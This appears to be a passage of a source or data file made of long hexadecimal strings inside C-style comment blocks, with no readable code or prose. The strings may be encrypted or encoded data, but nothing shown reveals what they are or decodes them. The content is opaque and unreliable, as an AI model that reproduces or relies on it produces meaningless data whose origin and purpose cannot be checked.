0a52764fe467f28d90afb3e98a789c37faafc0c0641a30e076010125e18bcaa604af7b80814d3c2e74d819e1e8a602882996cecedf13512ded739814f58077ba442044f22a6e9c097ca442d0b9968678c5658e842d878fd060349a28b8ab0a9f61662d1adb2c06e855d0a1b797945d7aa3635224beee1a275d8a9979c6ad220cd1eb92ed4cd9f6cf28e0187145a775ff5fd93eaf7001b6496f2c51be06aee886bef375ef570e9934a79eaf5c8835c0474666dbb0bbb42b3f2110b6054e58c29324023523814d26aabdbfb140c90a1741c39696948bd7c9c1733498b48dc68cf58caa4c75a2756e0ffca1a6ea6a11f6a3ccb253eff069d73e377e30446c74b958bbb15058249d146d215016ce5a30643877ab61f225c2e30d38fdf781159462c577d3db46c4625ad9a4a7b2200897a48865813c26dac04ab2e4dd60ccac01ce94e835e92bc82a068d6009da9d2cb5b01e4a5cf4994cb1a063965c81a75cd9cf2c858ac261170d8f0812fb1622d6858dddda42b423b02596fbae6c64ef4df17d451cc414edc71880e76929555686d7714c6f560c2219d21ce05e591b013106e9c01d79b63231df543cf4aaf7bb464d59a39e4110efeef6b5f43726ba08ebea3295ddea9759e94f0d469dfbdb8d4a01268a8e71f6c42ae885478707386357af8d8aa7622283d7d7f4bf3ad4c9eeeb60fa0f1c96d8ff662d52fd3ad87ee89be571c702dead3406ad46c640bb00aeb26c2e341c9c6fbbc8858d22845f7ac90bcd0019702b9d5d4f1b2109eb0ed6ad1769a54e68833ef08a73eed7c78e324c33ebc4beeffd741d1a941ef506d24b99269caf115eead98922ef73844fe62f3e1dfaa0651b28a2bfe8dde36af9f0e*/
/*d59d2e7ef0a98080c0e18c13cc65b4b63c6f5910201938903a777eca1e473e695922091d90d2d3b7eedc43d4e836c8de98b192cfd19d275e63117255a4b077193508459fc673b11f656b486d6e295c26f78ff4f4f07c8b7d52f4127ee6584b93f71613cc5481962db74d442904afda10c751a32031f08728fa6fd8c54c9c086f36b0b7e56ededa17ca8d9a30da3c1cfda7376adb8e2ba388f40d47cdf45dbef4182394f4bc4f638b9b84b6d786ec59263ef2ea70fb878a54ca9a804d4ffbd5b654a2a45cad5832b3f21e43c76e46ae89d7e08737f5cdaf434c93405cecb5288f96c208985594efadef3e1feb5d03aaf030400788676ecf3f7ee4544db3ff2e6dc49101f756ab8b0567634313ae6c2a892d334e34fd013586e17ed3396fe154008bcb27507810d7a2a240499befc487bd948af873b9b1b6cd51fa098ebcb5fb46f8d7ff9e71c37cba291838c1b410337458cc61b7c173361674155a61f2b790717463124822fffb69c90c161eb318190ab5c7235d805c321f0e4e4913e788697c40d9481244d2bb472b6a89f3d55b1354c8eb6a6818fc75b2eb366c68b392ca26c779057cc1c13f77b86d6de015f77753bb843896809c97a7dd48bfd8f957bc31057cd7d0983ca51f94074787f9ab621ee0a2a9247085bf7468022fb61dd80773d94b802294224cb0d64b9ee8afc17fef1b93bdf43b34fe02338e2523299ae61d90b218c68535224da6b8bcf33d8aa23ad148ece0ba890dd1b0a9ed1bf62564c8818da6d292f8cf3296d816b5c3313fc264eaa173bddfe7ece87da8e55f3264a0e792a43aa77df04c1a68e2ccf2f15ff8bfdf01dbe4881b8fe4b9b6d4cf935193b16e7130221504ff2f891462af8d916065513db5ed40729d92118d574a0f9c0367cc7dedb51be8638886c40f70764052754ef3eb3c6e1235218342f075588440290259480bc354fc2f57a34af016221bebda31dc4707a6e0bdaacc89a06b17571822bec2e12a3e340c3a219f1c351b3f9adb7014df1bd6c69c6f2237e826f676e771375f670a4b186b08201531e5b82cdad293ccd16de57923d5b69e67279a6691be5bdc65d3364e27f6a4ab60665485d10b997821f68d6f1300d4c808d0dd4aa0cfc5c1043921f80e21fa3e8b2bcf02425fcf74366938f30708acfffd27ee47aa1003ada26d35dc515d306e2283e3c9e8b721186b2e7ff35fa57006db513bae49312e54dc32f307043d8d30d615c5908aa6cb19f2a1ce50bcf0cdff3f79286ce8504172b357ba166fede9cbb836f30d72e5d6f190e84964cde69a0082507d393fb8c3e2594d32067c8d8c1e7ba72c9f54e6b959c68e019a6b54e5dc205d79966665c4409d4b3667bcc08a3056e8a4d527a0f0d5cdcc49ad0e443fccb300a1f2e9ec813c614f2f5d8178471f98fc92c6e551f0251c0d75a738e67cac9a29a89a798505e91a358fc4a0fce17d2bd90b1fdcb93b222914c83851bbb9ac42b1ef89a9dfdd3f27c8942115be4b94bc3073de41124b713fe8efaace723fa4b7384bf0f3256081e3fe63f46af7eb64ad91ce9ce6512791b8bbd453519e285a88d75d6a6a74ca01409fcac5e118ba07314f7a682c5fe5997eae6c0062ecd0d39db06c0ab26bd4f3fb22791c8975f5bef38190b9ed1d0d5ac789d1f3319c0910159ffda7ef55ba444c958d1b7ae918b85db6cc7d54b8766401c0ffa521afa0d2e8c420a3b0cb8508bfd3bdd7d751a28704f17d28ba5cd2c4548efe410cd3be5e4d90f70980818d73516fe105a47a412ea83823ba3f895c7815a3c1d2e3cd310ba70f2936010e3419ca2a0ce4f7c438ee24ee8c6fbb324a8329e3307b45ca6fc70eb3a502ee455de7a0e874c7ec51fa039f7bc8582cb1112b78acb852f3553afaed9a8958c1bc6c695dfc56872efcc5daa6eb0f571372c79ef99bcf41d9174cc8c2afcd114bb76f145e5d9d6512ac8a17aef03e3b772db9c3ee29d63f53b7b6aa0c2be25bb6e920b187d2efa0bc3e18c651e5d8f5360c5c036721cd85597c3760b8c83b22278098d9816e45345ad31c891d998db414f32f659ea40a1cbf837c01ed6531f2b167a6f5ed148ba17c6be7bc11ce277fead87b56272614f13102d573bf77851c2f113de736c90d7e4887dec13bc0b0d1adac94874e006e841d1528487996e43c9be513aaa31d1b3dc780502eb9d0bb78fb703165ba574891ce455c8a494520c92df10df62de41de74fc2591b41d9865e007d00a579f2578f763d9e603c67df0b09541f32e572c43679d8d3d18d4330f40eded156361e809ad3ab003a732cb0c71fd4aad224f0026fdd508172004dc01eda693c46e300b25395b4769733511bc86f5f74052e48afd9ae46eef65746d359d5591921bc98ceb6fb9d0edaa4b6c9317c238653984aef6d00b6877609e5f279f99b3b79b7e753c07d3c75efbe415ecad60afed277082dae1a69d1f789e5104dcbbafa334e3ad2707ab994b96fa588ea9a5cd97af4b871e16e00159224daa2519619dc6f2e2473c9cfcb83bf335f94d27366b382407f3403b07dc1a142df2dec9c064f516244deea43718b416f59704650e8e0bbb31fe3efa725eafd3aa66b60e76d855fd56ec6538eafc576f60321be93b89c36afb3332d6a3a56a8b9906002194a0e02f9b1cc84e464f1a5a4e9ea7d6bf66f41c0c66246a2983d97469374d0879b8299cedc0fc7691990b8d2b1d37d4a3ea909e74014a83ffb589cbb77b703f764f9134ebc704257fc83e08f4cb6f9fca944d40cb3f45f3fdd06d4c0d36ec4b07f37510b6ecc124bde102eb0217e3e53e7af95cd3c1c0b52ac39515ceb2275*/
/*29f5db7b5b50fb91f7d2f99283fe7fec5da5a4dd0c395c7d26aedafd5787eac7b69a01e8fb5e483fe57aa2839227cef8d6e16d6038dedc0d57325c9ef3c2377446c5e3168dca87846f5622103d2e4ccd299f4831181bca728c5a4c38601d2202a8f67c91abe9a1c01ac6dc523d2432d3cbfa7a09cac7b0a2068fbbded2e5d13131dac6be306c3eae061fc4a5316923b1b1260c94ae7730219d8cf31516e53df024c07aaa7a31cd39e9058157f3a9e480d53e79df24803fce85b050aebfbd7591a40af5d7b3348f71dd9525d6ba9d7f26e95ad3850db24aae7a1fd712242c97ed6657f19f1b282e1b41f3fc0374e7601ae2fa13c827598fb5a202bc5d5a9686f4a620456ccc9d2fc70d8fd3717948a27b14ee05553c653d97a425c25f9eee199a88ab6606856dd36ce1d1af8f3a173bd3b4ad8889193543fe0e31757259eb05334321af96bd71ae952db612e7ba2983227d27db621e4de465b7fc2a39419220da2aabf2c85451223f0213b075c9172d2789a9f20592ecac7deed04f0d82477022f370aa502de6887751a3684991bac0c3767fc23bbee65f57dd580de04bb226359fcfecc42f592fcd95935fb1197bf8cad66bdbb4d249f32877a829520a3b66145ab7146484f57970c9ef85c0625351ac2de47964489f66a21524a106bc7dbbeadec12c93fb40462f8dd11cd6cea67597d9cad0b7e3cb196add732e243e4d677090c9ad51874770b52179ce6bc52d9b77c7b204da58515b203b971d741d8b38aa5b849a98e967de682f5579fff7faae31e3ab11bc0bf33a743a30d1f1d171a9b26070d5e8d2d877197848ee997d949ac6d40e1651da739db033399b5237e83b2f40552e4181f4f818a2574b421299a3ece38a5589cc468bb193b70bb75af40e72075ebce47ff758f03eb2df286ab50471410ba0a49f89a7c1fcfc9d249829e4cf7e927705808f99b15182639b8da6f776faf74828f16c13e5e4d93f8224fcb9bc78f8bdac2c788725be71bc210c86580140dc37c83147b23dad3766415453e504e3b1da336b2cefbe42d245e73a73e24cd3f4d800143281b581bbafa3001cb7d5e8666902b1eed4403bbec83bdb9c5bd511d55e4941a8267c9e08473e0903d918d5f5ddc58ac918dad700aece5c5a321d5d3b3cfcabaf37c649bce3cc5310e4f4e1f358c7813d2e280b151225ca72352dab71ea725d8551d3da10ed8f7797d5e357e36687452d902a3eb4fec110a38ee537cf31f65cc5472695f56f94b313e96f28afdf1b82aa5f9729c5212007fa21e7c6e43f4e5db7cb9296188afa6aa1cbc7f32b1a2b55b498262abce18072c1b0daba14c9a5443a540adf47ca1bc82d69da4dcebe89d5b41ec8e7cc4c9c37ee92d7451b2c9b70cec990b9680eb5db9c625dcecc17d189ae4ad2a5c9ae01300637107afe89c8a38fc87f3126c4613465082d0aebb98283c067abd8605762a337b2512bdd4cfbdf0df30d3be2e09a3625665faa92e5bc1045d72c3f0d2c1a71b36d8a6447429c20c1856d6c956ca712f793524b24eeb965b59e031ba873dd05f021c718c07dabc32d60154183d1760542de4048279118dbbc20c41ecc4a83d4dda261ff365f428c6ce528a3dfda2749e7d49b8429678d05b716a131b8aa83ed0d72da49035dfc13761d38f57bb5bb1e1b2ae53cc29f0e90ad15ed1da607cd16e591a519d9a11af382dbb829a49861b289667c26960089def61ab862a8d1c0aee009417318267b8f2792ce09e6d8bde1af77ddd017a1ea884baa177d57aa390b2a53fcb778c45bcfbacc9e55e5bbe96badd7f5678d58e229bf99ae7132ca9827b979b2532ad43cbde610ee9b841af6a3c1fbeb4e0e4718cd9c47d3d8de9e6df77804b41223de2eafe32dc74dc0f0c210b66c266ae34ed98b5d49b793e7cdeb389d2f85898217a97e65135ad230eefd8b2ece10c9f54de3eb0d19b9667e6cee02205eb63391231046f01cfe64d8ba9196cac7bbb56fe0e030fe7dacf0dfc3d442765973d265f0f382d9fbf727e5de8db8524cc62f9fd9376f6bc7e4c536faa1cd10277c4ffeb1acc1d2b52848e96c80e7cbf4783927647b9cb3440542ff9fc48c910e9fb2dfb10c9244a598affce40a5a3a4912f9ac87372f4158d1beb452ea725edd9d6a929942bae19ddd843b460c00d83f57c1800840199833fab33b2208b574270dc8f95f3d8b7a635cad4074d1bd9347f725d99a3b8b9d4e298607b491159c274facba99e347fbfeac9fbf3fd5985872fdfaa2846fa4dc6a537f8270fc14177fa4239a76766ce4cc7172d2bd7ff2e7e15d2cec024b48a3564c2ff08e8b204ded387ab488cc92341995025e01afbde585f940e76098c9de943cf6867a8199695245964ba966753e0b7d215ce0eef5adefd5ca282c5ac3de39030390861a459bada87216886ee79d217bd1cbeac2012fdb5f19a418ad76e02555e224523dca014851d3d94b3a27347ba7e1b6d1ae825a03bc53fb0de3f846c370d1075862936d8bbb9952c66e844716958376a8d1855c1830fab9ca3dc7a5de3054329ff29ebe08713e87ee52dbfe805bf1671609d7545cd9df4b2c6673f075e747aab17c0a7a566772f05d7ceed32cba3442718d7cff79f2429362a5f17c6191373fdae0fedff1d57ec1e3a96b8edfe5366e622bccc9f4dcb866ccaa1f7879aae052db34619e28fc7adda0ac110fc0f75809f0fe5efc50c3952652e85a2cf56302bdf5c251abdd90ff4ffafea02c179d317aeba98931b7c8bb1537afe8e26f5e2cbeb0aecdd2aec34be3aae8e34733f5341bf6d74d9cc3ddefd25ab53d771d689ac8130a593106ff*/
/*4f85dba30fbb8c3ea0fecbc40ac58a56a64b2391cb50c4da849e8dce5ccaedcaddab339274eade280e504323cce8fe0d601c1ecaa25e4191875d3bfa940d41c3d4f967d4dec0ddadf31c13c31a45f36c8a9905c8baae2991bedf9413f4461e10699b7316d4970b7da8e4aacc92cadea253f725bec5b79e8a163175c832673cabbce80a40bdaaa93700cac17c46ee6b1f9abe9a9702fa93925d5f8b15d0b0ee5d92846e095be9f2086a3cdc8fea4029084a33ed43faf63faf358d6ba6948c9109ffae36d9803bb11f06282fe6e18c27e2ee0587b94e558ef39c385e2f75ca9fab04706ffde50e5868739a2ab96758633072d189e4e6b44e8cb66cbbb715b031c64c7cc8cf60a895a4fa839fba4c178416a81bca622a6048365ea11af32c43ac1e8a2aab6563913e583108a63cf0062a8be19abd844265a3cc259dcd8d9751161c4cf245543f8f7b2c5303c6daca7481c12ab027e48bd4109f1afb32d8d60ae521c3befb3f3c3853a6bb5ef689fa0b7d5bf1522a4f73ad6e45900cb32147709e9e79115a8a66470775b78872127c1f0dcd60ff74f6b6586d87a1ffdb145ff105dee093379608ef802beaa023d2eef00e2494a4750756fa0f3cd433303fd7b1239b2485be0cebf41809caf0deefbcb6f0bfc4305ca76bc2a91f03192cec9ed96a917d20ce28b329aebc322c12dff032c4ae5ec554f37b15e1d37d7242f1d7aa8841b8323e0b53cf589d0944f0e780043753700c5cc08fbfd26e7f263f18533dcfa786a52361c3ea50a4a99ba75c966d03c5bee7929517163cd7553b3de8eda77acb5abed545fe1982212f6d38dbe1cc14f82e27a8a6cc1949847583b39392b79057a54bb99ea77886e8ee8b29fecc2a3101406f12b1d782aeb0312642e84efdfe8f49e7c8b3510f019b804c5cd67e9cf1c00a5f8cd56efa893c5a0e0f0c53538b738783f118b4571b8025d7522a0d197596ab0465c5d1fea902114f137af0dc903635080a32f2d7d6330d15f9f6a6f0906cf45d061995f2a64bbda071870746e5be07fc9680bf4ff744189abbd668080e2a4e9f80c267f715244c09af5221e76d649e2f1270d0d6b34baf684dd52a2269bf4df0f3898ecc84f615e3ac89eea1cdf4aa27d596045349fa2930c7e3dae7004d966b7428f56931b318be103ee96ca2366de120a69dca7b91797000fe122ba731a1b4bc24aa33f6074334493b78024c6a78244cda86a2cb84ae014e22880b7ecea28ca06d97c08ad2044d4b33c606e57da91f372d32c447bbecdb1ea0640cf5422bbf927e25fa5558afae325d4de1c5107ec006eb3b9be52539d427883e3929403be63984f597569359d54e2dd8a5deda108eea53c6b3ad1b5942706e48396bd7f54821c89d74b387b79c95a4ca717b5a88b775495d6a3c7eccb4b572e65c1347ac45f3d252335f3e54397db10b1ecf8b0ae6e79a791783ee518693b9548af1cd8440b317e945b9055d4aca88cbba6863ee79666c179fa3d50d16325b1cb5c16cfc3e3655276de92066d7d6bd50cce8ef86ed06b6439903453d0211757f77b5787a4d9e252e0bd6fd1201a70a52630408048d9a42e40f5c76d23234b7fedbfb8800ed993539c34a867c54edacbd81626578668c0f049d01ee0ecda4bf62e8b2664baa154c6fb0b6a766ab3f7d688017af3b8fed69130dfe67d7c70c442f3026b9257286ae6cccffde1b5d1451397692d85a8f4f2ae75220181a656b8c45d237fa14d0353a7b918493f37f44f8e51b865743332a71d1a72592273490fcd3970528d8c1bbedb5c077259116ff074cd3e95ebbd96c5378e5194863e8515ec73928676bb745a4c2371a39ccec62487acbcdb63845e2dfb5280a23859a5720442c7ea82234c5be27b047cd2f2a447babbe3c99e9234a71644b096cf758fd30c6d969769ed714e4bd1fdd1e79eac5680f6fc9c24c85789a74460deea773f82c44066780f532d544e0c35c3b727593aca2660f659917614fb932f35c0c7beb4eae0b663c90915542d13a3f00c2b9efebfc92b05d6c5c6c4bcf9d6cfd2733ebfc7f5acaca9e45881141789a998200171bcf84a423ffcc4f17df8f64599a56973b7129742f5b668c48373b9cc3b673a7f0e3e971039eb7c03b1ea7994b3aa2ca60a203b1a1a2f8d574330d629b6b318b66f1badf77bc17fb6a394d7e9331817ea1c92688792cc5612cb98746cac33223eb25ec1a3c38b402f0aaf84ccac766f97d73dc11278f8a54589e82e5dcd758ea5927f458adc01ef1e34cbd9adcab696345e33b0d4ae7265aca317228a679098d5bde7c65a83d8909121324b9745db3a93cfa428a3024c9cc49d773aced1fe4638cd70ec0e65d9291461d223b35304c1071347b6c552e5091e648a2f5d461ce325a918a353098472413a2ccbefdc554935d5bd8e54daa63e5252c30b8e319d8bf2905fb2c79361ae4dba87cd26936343e452cf19ae29c7ffda3efb82922f7e8a117463eb87cf09186d759eee23f2630c0fdd7abe400660fc05a41e708c47fdfe274643de3a0230e508fe930e869bb88c6f67194886cdc905f2810f33e4821d9d9c57c48a837ebd013b047265db3b64202bddd070a4cfbaacfb1f90549ed277a1a507837d6c658bbde4157db0696d69b1ec28d5c053cbc8805968a63ecfef627257464436e313d6801f11bc84b662c5be55cc61e499b735a7cdec7d90cb6d7fbd662c622db1880dc41d434f4f851c75e63011c9cc97c2cec7ef78be614f9217d5f12fd9d2d961c80a857070ae7af6681998ad54bc755e08ac6ed76244aee5ca9bba807f7c83ed3bf78a5e906117f486762ffcc62ef15*/
/*9be1a5cdd67681bd2f30e9fdfbe2b83b35e5a113fa1fc226fc04639183d97a1eeb870c3a26ab02b6221c7e90946c1411dee317a8d043286f44fea34c0f96671c8b5350f15aede19ef432cd34e5342d56f8a35c8f3822a6584ffdaa08c28648d3c781ed99da9860a7448db92e862146bf4674b38856c3116d1d8f2cdac853e31d63f91dd9f47134204357136e4ae3353a22f0a0bacf5af0758ad208551cef416c24d2bc447cfa379127f0e5021d5c087ee1add5d27984ee32110b73b1879192911b803fd10563f1b9416495373b8b2f440e9cd37ebc374684d5efedb717967d4546249844fec8a62d24dd4a17ff1f8a75ca75fa74edec71149cd1cc650ff939f7e41ba9529cfa45e3b8336dbcadde735d6217879d335ac85565adf825414b6a17ee262d948bbd2b8f2f4484b5c7acb5f572bf7fd4f5f95fa2b45dbce38e552aa7b4eae9d6a1b6f6ef024ddb5998086353cdb30b71c00e52b439490bd3fb0e8e501019a41dded059d0dff10ec9dcaa1ca609a7078a5d71c903907a03e76905a44e584b52ce65cd7523ca85d2670826f97d446db1ea966b687ecad3a6530395a81d5dfdf3aab6eb2f28632a845a9415b1f6f89e7262eb32e90977aea971a4f471a994f67c3a2f64a1312290c7808c97b73da1b63e32c298aaccbddc857661ab9c1deb570115cd5176f13861309eed1588509a7d932aa27b44317d945dcbb1cf65686302b05497e14dd427345a18aca4d6f16fc3d4bcb1334f5019b35daa1d5f7addf34f7a6f654477b5fabf26c70093afe19a9d2df329c7d27d7ba5724dac866bf3048d4edb2005603d9a46d021f517d09aa96c97f3e59b7138dae2a0883a55be51eff66fbebaf77e9262b4b4714ac6afa5eb3d6da5168d8f19174f161d27fb966b55c2047c590394e14f38fbaa07e93e6c2125430de23a8cde35736d585e98dd6790704640bf1ed79aabfede1a9ed38b6eb53266f7568f820f8024cdbddf459e293fd343a12b8c9c366684f3cf30dc7242dca7d00c07147644e3657963e6912384f0ee0a03f22a89f30566c61417def0a1f31239e5e2966310d7f6e31a78e6715874943e71bfab714e7f82d6a0c62e4244905bab558596b474968f9957417632877d0657c24db2bbc9c2b5f99c76f25e588dc89ba142ccac3709baef0a9f5d9db239eb2487eb1230dfeabe59c0fc681a2dce5495ca6ac0f764da879a02db42246b9ebf0470a2360334376a458cfa642b3611a913235df506b88ebeaf8174832d8c68386439071eece9e1bdab8abfefdd147085818e7e2f035a52e14a5439382d70eda754ad9912ca39ada6871eaa5373d30107594a42650b0b68126f1f59a4af6ebe3503eae35a8c687b83e5d3a31d13315cb312d09d03fc1ba05b3ea25f4751a71b316fb953bf8ba5e44fa325740f428f1daa500974ef103398b8d33320bc7b0e819c4a3a0c3757e8563a561f4bb2375951a996039683d993c9a11fee5f61154f545be929e1461bf72d48173d2af9e8162ce05108eca585c08fff9cab4189fbb25cb7f5e3900d51fe7d74c4b574ab9b532529f8556322ea754fa4d6f4b9614076ff3112e63e753328818891323ee1107567ba91f1636a7eb4d5074f7f272ba44fcffeb8884b8c72b0d1fca470e630b34ac8aa194d2b5949fbc9f5d03449ada23c49e76474360298b910c36bf4d2f1377feac8cabbaa8788521a7821dc6ee6c81400233cc6bce53bce3826ae5104d7c223f6f29bf275c287aad7fc27e806722ad1b15fd46b4a7c5b7f1f6869c8a8238ca081441cdcadd4d4b3cfba87452ad594384676a98e1251e544e80ab788b813321a6259e4f5c921a4986a8cb2d8fc2510a8576af7a5f1c0368368a79f581e2c70caca8b972c75271b15f38c9399227c7022c46be924ddce456c31e848407248be0caab75842d1e1fcbe0f5282895e3c0453ea5d66f2f445fffdb973b842929897817e16563a629e51eadc3c089cca647175b23778148aeafd70861fb4affd4f3a6f832653b6ae0d26f10647a97d463e32acdeae3cb1c38d4aeaeb46a19d933bde780fcc120e8609807013bdbaa5cbe26c6ea978908a23a6aec70d43f861fce29d522ce8b8e390f84583d9d49e45fb60e16ee9699dc794e2bc8ae34e0d94cd77946d283390381d0a254195144c1dabaf860c0abc5ffb86cf7d55b50a1bde91a7a20e16fbeb12b71241f450322b96864269922e211fb8329ede6a7cf862d4be5f2558dfcf974ff6b2ce21d1568d03bba479e6112dbdefdd2e533aa7363d9c033aa407a635fc6c69df5d9edf5d3f8bc19f5fca1f318864d993bfdeed2fde05ec439f29b87058b6332f94625c8f82184620e9559f6fe65ffa9f515db8adb1a334ed3d3232b27865112a9dd4ac190f82323756fa1e8510bbb6e79641ef91b7fe324f657fb31aa5090302c24b6b06700966b7198994287650859851b4c88a17da83a3e0a9b6624128dcdccf44c51b6d86bab5bf3c4c1ab77110068b71846896a6f64c2cf8b0299ffb2ab0e67e6c69d43b918a1ecc7373466b973fb8f377e07c03fb84c99a3ed77b44d819899cb87d3474dde71afc555a2b8f5741a675bf2722be9f1dccd43db064afb42c6e5f75a3d60a09e14245c1a9517d8d2b0a83d09b565e2b4f2d6c2a192730603890eab2fe502ddac3335d604597dd506d0a7bd557828b1f5e3a2f391250accce3b71f640a43eb284e41d21ac8775c4ad33ecd4856a3bab677f29719735c8f70a6921575038cf64b23bef803fa20e619a21dc006cb3a4dabeabaad5bd75aa4d1b8d1c4c798a9c56d0296cec68ce5c328b73273907e7bf86a2e3ff0*/
/*daa411d234225d93330d04ccc3b56d05a233339fbb0f6f02f3e5721cc8f883dfc156c0d499dfc976f9fdf8f878bb23b6165311cfd97ea259ba5d5899647561bd9f75b245f88aa4fb81ba567da539ed36c6bf83a2ac9922193d40e1d4b838893871383a73d5445746b75d3e40065c99f482da952edf48c9e9aa2510246a68584a3f490734bbcbb69fe518b2dcc0546c8e1c5b92ee7d0ff684908e0f7b42fc5b03a4f8bc6ffd6f27b7fd6ab72774279a61cbbee325748c05830e55397f26e887415e2319d3d398507f496c37d59247e65be730182e890ca8480fee685001224a0497eb61f629fdd348570761c429dc272b806cb1b50b87f16c0403fec711671429e206571b880b4d11b7371fd04cb049aa042c2f014567258a0e83f63e5e1210dc167136263eb381f240a3cade39f428b922f300a90937eae2b179c3b5e638c7f2f0fdce72af1c3e7c9facfc8b0d8fe3cbdfa7d5f554ffd91ec836f4d626132656e2c803d080af774e4c21c59f65d529e401853f12202d3d66082ebca8d7eda692e80f6fccb64b0ba31211a60c313ece575e935c90c422997ffb0171633943f4d618b90be83e8b308bc026577607b62fdb2d1f19bf2099249e43e3216d428f44d579b97c7a71f864703c9c5fcae3946454582702d08437d5df4688f3df7caf2eb997a87039421601d41bd3de8dd3d992b5f2118d0f29f38cbf984fbea15b0ad080cd659a4d0f4388d2e45253d381e85f2b791b10f15909e427979c746b5548ddf000714d084bb025bfaf90183bf4f488022082dfe9f61f60ad3b0424a7dc57f29b7decb62f97a0b1e56ba003bcfab347bc90ee927c77803b8b3791458e093985a015ee048fb0f9930b9f13edf404b8729da8a5b2cb4b8de944a10fd084fe3790ee1fdc7e0365843678af5043671721f37219413dcc24d456ea14051ccd559ba7502617a746ef6e64a72ab7d86589e81d7a351ccb7f5cb8d04eb6d020c1d01e0f380eb0011531180745c76ead332083860b1eca519b34814da658b628ca7add6c89a60b531f5acc46dcb17a29185c1c155be20ac14aa1871596dcaa37f39b8e45d0498e116ddaf9e775452fa1c7d4286edaea924fa4fdfb681a0d67efd3469653b2924c8db64204a14a1a98e0d09edde6ff947b6dac2493a40a2f17a4fd07194817018062bd95c0abff889410addf61dd897df7d18a1fe64eb5b6f1e368903bcf5b07aa214735b26b5509be6c2d6c767f7622100a9ec5caabec898aa8d58c205605bfe96811ebdbd15cef37b2c93df5f4c1c0d61fb51418844a2b89500efcc79fb1e739ad2e06c0cfd6fe8f15266c5e254737b388b740fbac68604f90112b1ad4859dbbb22b20c7a6b9369bb3a8028d4e659c13ebf09974d7e3f3836ac271814086b79a6020ecd001999a7566489ef7a7460d16e6a30ee01e264feab28f882ba1f21f8956bac1c528ff335dc81dea999b80021c90a03d6bb43df00f89a9835ee2ff45a8fd1c22f7944ef0c96462cf638dbd3e83fedca596d16363f5fc44c59b2c4342ec3daa397e3e3fcd81d3a6479cfca7bf2c9682e1483d6ae4ea26965893a51a8575b4e61523acd08801a2d60909fcd9f73e93e2dd35803f557098684eabc8c0c2e7e77ff68846e17d4f2fc830fcc997c847fe0be023bddd05a5ebbe3cedfc32a2b8317b97e882829c7a9a69edb1a67686ea02995b236f891d35fa29a87083202233b85a8daedbdba88442b7e4319b0d3a5b1b99c97c10166d9fd4b398ae6f8b149387d91cd87b1bdd3b364f7329fc849b2ed144e648f527ed03a7b2ea444b745b0ed3457de12f1b2a353e2f40ce77848abf7e5f518a65355849f9e0aa3645688d58e382d472040873689a7266d0c7f0681e5460a8cccf0e510ef6e694debcdc15d0ad157574dd958bd8386de381a7e935f22ad690a674f8b2e64392907dc5b04a7812062556c4e43930702939733e435e0792cccc0cf0013de2c6ea03951bc53c8d63a23388f3b5f290b411bc961f1be0900f3b3f20b7f0d6ac23ec56e48980c9da07e2b58bf6aa72ea2bcaedea3bef6585788742ecf94c44859e87f0facd07138e8a60bb2182a501b0d563c4891a86f44520af228b1c5e721eea3861c1337f3f8a8526ba8ca7f644d115dc42384f28be03b0e4d861d07b9645ebf1f2ef474e75e128a8fbf0d9212e7a213a17f792058580333d4c7c0f962021fba34c0f3b82c91f059e8aad6d221c37f63bf050d322bb25e6c74ed37c8a97b6d719a204097fa0fdb3cc46496f1f7f8715b70dc9a8ce38ec3b577f561146e9e186686c18679275e950d1208e0511178fb1176314186f6ad4f473a3233c04d28f6af742538b9ee443510466ca322daf28fcb35735a9d0a23660a444639aead9e5a58980562362581d66b767f68727674b43b03cce7d73f337e0ab2fd000006b14adb9740148c4d4b4f5966863ee0c3243170d489889ca7c096fb3f8dc112601eb881d83334f06a604644677270710dcd786eae2be2bc582ec83ba65072d5605a0eeb1106f1dc7d29893c694f1c417032c5f9d303a05d21c851226f14a464b721e574bb1259672c28f565769d3815259436032562923f969d6c772e0890be61b961b5fbb82cc3378fe7ebc78893f78b6a0abbe8f9f7a659f3cfa05e1d2d6e51268660e199c6127061b4449168efb3e57199cdfbeaa236595ca59d538ac581a3926d84d706916a828d2edb6ca127c13cd2ded7c7a129a55171699c9c58c7c08949ded19a2c0ba0caf7ba1c198adc726479a4002a52c801bd01c96b68438c687da9f5b846bd5d6ecd547a3bf23b7962307b5823700faa1b9*/
/*c30b59740e1c44a7094e88bd8bd228c238f50d8110b82f12f8615637a560bc43200040f604b2fe79cd8be487a2b8e9ceef680698a75e028a63627391c39d21d9004bc13dd048f9bd8ac81e51d462f3bcff0e22ed6d5fee2e2f0d94983c172612e6b1cc766be5511c3c94839b6a803a57ffb307522283e98c5002814cbb76cf59886514415b4fde14117ffd933b7d10e7aa6544042b3acdb5b8f270fd016b9d1cf1ae80c6980071f26427e6d186b21e85bdd84394607a8aebe9491d5e3278b7138ab0ad15f627c5a09237921983616bcfb49e0f64ef974ae8420d4e2372c5f2b9d554e116c310c05023a89d766b7e584ac977b0a2b234b5430f81ce20e7db91793ed8e825b7dce5c1f72feb085a666006d0fd23f156668e906a43bb54c713fd658f849b82801318a1d97681870da1d3ae09621629acf67d5d8621fd5ada3fd7d8698a29c10f1026dce8637aa31502f6c36ba6247af8494ee4063fec692857bb85a262048143d5206f7be5132899ceaea6ec18ac25b565b980b692d01b3e7ffb0a07d3734421c8d272f623bb9c54962629d02cfdd3e22ace029e8e08a2308658d1d27a053f6a55c10703a1c5e11f6efcf8b497bd769e495afd3a18be7ab285104190cb312013d0f92ec0904bc9a0f8c3a2c021b82612ad2b2acf869bf43a2597aa21ec4837311df395e95c0b4b8e379b68cd28ce9f016302b4111d7a77f26362a06f549299fdc909438d0e992ae5c91c6beacb4804bd995c14adcecef197b5a9856a9b34e047156b229a296bbb7f1efdd6e85d2a23973ceab13f6799b9a4797e089d7d4a02c8cfb236eeb25a7547b8bc9148fedfe98d1faa744406da43632543c23e872ea9df7d1bab95ef7fa08b4c686adf6451c3cc0a3038e10bc6594ab81f3b48eea63fa7278ad260cf37c555fc02aca76c1a3e204e6957a26c212175a536556fa509bda2f3eb3b3870168f292accbb3974c7c3260e03d6c82eee72b0a47f5442ae987e07c9917ed70b3fe927ee1055b228a14bbe1a01520e029cb07d2ac608f4c3b7f4112f7a4a10c777f3f4f32cd63fbd784c47f195e7e321e39d243ed90e7d913949e6f4e88434c0efbce99c97e245a20195bb70460ed27128ae3109d20f6ee08d075cbada8238e990898bc3e40575e75aef97e9cee18c877358252253acd0a2e38e1909850455e1a8d3535d264a12d22fbc010c394b9c3db58c32187967224f25b38027c9b7cdda3d9c9c3dbf54488032f16818714d6b74b6cafc01fa5c17c6f82d95681bff138610ef79d85c7d421f504ccd2cdd9b3186ef5ac6c747d0f96c66c96510e471dcafd2d9d469918d465484ef5c6152b249d7b02f1f6fba66cbfc72023eb87390a6